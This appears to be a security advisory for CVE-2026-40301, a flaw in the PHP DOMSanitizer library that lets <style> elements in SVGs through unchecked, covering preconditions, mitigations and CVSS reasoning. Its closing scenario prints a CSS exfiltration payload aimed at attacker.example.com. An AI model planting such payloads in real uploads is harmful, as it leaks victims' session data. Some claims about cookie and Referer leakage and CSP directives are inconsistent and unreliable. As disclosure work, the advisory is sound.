PHP CVE-2026-40301

The vulnerability requires that (1) an attacker can supply or influence SVG content that is sanitized by a vulnerable version of DOMSanitizer, and (2) the sanitized SVG is rendered in a web browser (or any user agent that processes CSS). No special library configuration is required - the default behavior of DOMSanitizer::sanitize() permits <style> elements without inspection. Authentication is not required from the attacker's perspective; any unauthenticated user who can upload or inject SVG content can exploit this. However, the victim must have an active session or credentials that the attacker wishes to leak, and the victim's browser must render the SVG (which is the normal behavior for SVG display in HTML or as standalone files). The vulnerability does NOT affect applications that: (a) disable SVG rendering entirely, (b) re-sanitize SVG content after upgrading to version 1.0.10, (c) serve SVG content with Content-Security-Policy headers that restrict image-src or script-src, or (d) strip <style> elements from SVG before sanitization. Exploitation is NOT limited to any specific PHP version or operating system - the vulnerability exists wherever the vulnerable library is used.

The CVSS score of 4.7 (Low-to-Medium severity) reflects the requirements for user interaction and limited direct confidentiality impact, but this underrepresents the real-world risk in several scenarios. Exploitation is guaranteed if SVG content is user-supplied and rendered; the AC:L and UI:R indicate the attack is straightforward once an attacker-controlled SVG reaches a victim's browser. The scope change (S:C) signals the vulnerability affects not just the vulnerable application but also other users or resources accessed by the victim's browser session. However, several mitigating factors reduce practical exploitation likelihood: (1) an attacker must control SVG input or influence its delivery, (2) the SVG must be rendered in a context where the browser processes CSS (some HTML renderers or email clients may disable CSS in images), and (3) the attacker can only observe side-channel signals (request metadata), not exfiltrate arbitrary data. The vulnerability is not actively exploited at scale (no CISA KEV listing or public POC identified), but the fix is available and straightforward, reducing deployment lag. For applications accepting user-supplied SVG (e.g., design tools, content management systems, image upload features), this is a HIGH priority despite the Low-Medium CVSS, because SVG rendering is difficult to disable without breaking legitimate functionality. For applications only sanitizing internal or fully-trusted SVG, risk is LOW.

An attacker uploads a malicious SVG file to a content management system or design platform using DOMSanitizer to sanitize it. The SVG contains a <style> element with a CSS rule like image { background-image: url('https://attacker.example.com/log?userid=123&session=abc'); }. When a victim views the sanitized SVG in their browser, the browser fetches the attacker's URL, leaking the victim's session token in the request headers (via Referer or Cookie). The attacker can then harvest session tokens across multiple users, or trigger requests to internal APIs to perform CSRF actions on behalf of authenticated users.